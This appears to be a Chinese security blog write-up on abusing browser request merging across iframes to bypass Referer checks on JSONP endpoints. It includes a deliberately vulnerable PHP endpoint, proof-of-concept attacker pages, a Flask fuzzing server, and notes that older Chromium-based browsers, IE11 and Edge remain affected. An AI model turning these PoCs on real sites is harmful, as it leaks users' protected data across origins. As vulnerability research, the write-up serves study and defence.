所有代码在: https://github.com/neargle/tips-note/tree/master/request_merging
request merging : 浏览器会把多次相同的请求(并非所有请求)合并成一次,以加快资源加载速度。
e.g.
<script type="text/javascript" src="http://0.0.0.0:8888/jsonp/1"></script>
<script type="text/javascript" src="http://0.0.0.0:8888/jsonp/1"></script>
<script type="text/javascript" src="http://0.0.0.0:8888/jsonp/1"></script>
只会请求并加载一次 “http://0.0.0.0:8888/jsonp/1” 资源。
曾经有研究指出,这种请求合并想象在iframe里也存在,那么浏览器的这种特性就可以用来bypass部分程序的referer的判断,如jsonp的防御机制。
绕过referer检测,攻击者能否拿到进行referer保护的用户信息?
/jsonp.php
<?php
function startsWith($url, $domain) {
$length = strlen($domain);
return (substr($url, 0, $length) === $domain);
}
$referrer = @$_SERVER['HTTP_REFERER'];
if (startsWith($referrer, "http://example.com:8082/")) {
$js_code = 'function jquery() { return "security content";}';
echo $js_code;
} else {
$js_code = 'function jquery() { return "nothing";}';
echo $js_code;
}
/index.html
<!DOCTYPE html>
<html>
<head>
<title>index in http://0.0.0.0</title>
</head>
<body>
<script type="text/javascript" src="http://example.com:8082/jsonp.php"></script>
<script type="text/javascript">
document.write(location.href + ":" +jquery());
</script>
</body>
</html>
http://example.com:8081/poc.html
<iframe src="http://example.com:8082/"></iframe>
<script type="text/javascript" src="http://example.com:8082/jsonp.php"></script>
<script type="text/javascript">
document.write(jquery());
</script>
正常情况这个poc是没有办法获得jsonp里面的信息的,因为不能bypassstartsWith($referrer, "http://example.com:8082")
的检测。
但是在request merging的情况下,浏览器因为script资源的url是相同的,所以它只会请求http://example.com:8082/jsonp.php
一次,则我们可以在example.com:8081
里拿到只有example.com:8082
可以拿到的资源。
访问:http://example.com:8081/poc.html
失败了… 之后我开始不正经了…
难不成是response请求包大小的问题?请求太小的情况下,没有必要合并请求,所以浏览器直接不合并了?fuzz一下看看多大的请求会被合并。
代码: flask:
from flask import Response, Flask, stream_with_context
app = Flask(__name__)
@app.route('/jsonp/<int:size>')
def jsonp(size):
def _genrate_file(size):
yield "1"
yield "\0" * (size-1)
return Response(stream_with_context(_genrate_file(size)))
if __name__ == "__main__":
app.run(debug=True, threaded=True, port=8888, host="0.0.0.0")
html:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>fuzz size of response about request merging</title>
</head>
<body>
<script type="text/javascript">
(function(){
for (var size = 3; size <= 100; size++) {
var iframe = document.createElement('iframe');
var html = '';
for (var i = 3; i >= 0; i--) {
html = html +
'<script src=http://0.0.0.0:8888/jsonp/'
+ size
+ '></'
+ 'script>';
}
iframe.src = 'data:text/html;charset=utf-8,' + encodeURI(html);
document.body.appendChild(iframe);
}
})();
</script>
</body>
</html>
实验结果,所有请求都合并了。我连1024都没有乘。很小很小的请求都会合并。
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>iframe request merging</title>
<!-- test1 -->
<script type="text/javascript" src="http://0.0.0.0:8888/jsonp/102400"></script>
</head>
<body>
<script type="text/javascript">
(function(){
for (var size = 1; size <= 10; size++) {
var iframe = document.createElement('iframe');
html = '<script type="text/javascript" src="http://0.0.0.0:8888/jsonp/102400"></s' + 'cript>'
iframe.src = 'data:text/html;charset=utf-8,' + encodeURI(html);
document.body.appendChild(iframe);
}
})();
</script>
<!-- test2 -->
<script src="https://cdn.bootcss.com/jquery/3.2.1/jquery.js"></script>
<iframe src="data:text/html;charset=utf-8,%3Cscript%20src%3D%22https%3A%2F%2Fcdn.bootcss.com%2Fjquery%2F3.2.1%2Fjquery.js%22%3E%3C%2Fscript%3E"></iframe>
<!-- test3 -->
<iframe src="./many_out_script.html"></iframe>
</body>
</html>
测试了三次。果然都没有合并请求…
绝招!问大佬: https://twitter.com/nearg1e/status/903297400797663232
@filedescriptor 是twitter上专注于浏览器安全的安全研究员,之前的“iframe也会发生 request merging”的结论也是他得出来的。
请教结果: 5月12日的时候验证chrome已经修复了该问题。好吧居然fix了。
之前windows上对多款浏览器进行过UXSS的测试和特权域API的分析,所以windows环境里还有多款国产浏览器。我们知道大部分国产浏览器是基于chromium的,而且版本更新并不会像chrome那么勤快,特别是内核的更新一直是相对比较缓慢的。很多Nday都可以用(可是src不收呀!)。
test in 360se 8.2.1.340
poc修改为:
<body>
<iframe src="http://example.com:8082/"></iframe>
<iframe src="http://example.com:8081/"></iframe>
</body>
这样保证了,攻击者域中的请求后执行。
从图片中可以看出,我们在 “example.com:8081” 域中访问到只有在 “example.com:8082” 才能访问到的资源,而且请求列表中,浏览器只请求jsonp资源一次。 思路验证成功。
在 IE11和Edge上 好像现在依旧没有fix该问题。我这边的版本可能稍微低了一点,POC都是可用的。
现在很多浏览器漏洞(bug)都是和新特性(feature)相关的,或许request merging还有别的用处?
想测试自己所用的浏览器是否受印象只需访问:http://blog.neargle.com/tips-note/request_merging/iframe_merging_poc.html,开发者工具中网络对“https://cdn.bootcss.com/jquery/3.2.1/jquery.js”的请求只进行了一次,那么就是受影响的。
https://twitter.com/nearg1e/status/903297400797663232 Exploiting the unexploitable with lesser known browser tricks from filedescriptor